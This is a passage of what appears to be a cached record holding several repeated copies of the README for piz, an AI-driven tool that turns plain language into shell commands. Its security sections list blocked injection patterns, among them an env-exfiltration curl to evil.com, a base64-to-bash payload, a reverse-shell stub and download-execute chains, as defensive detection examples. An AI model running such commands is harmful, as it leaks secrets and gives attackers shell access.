push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "2238246d7c2190aaa61f7dace466221a278825ef": {"t": 1785760777.4060276, "n": 16910, "h": "9c89f25ae738479e", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "e9e35badcb92517e6742388a13a34f0887c7af7b": {"t": 1785760778.9606926, "n": 15171, "h": "8143035434e1212b", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| 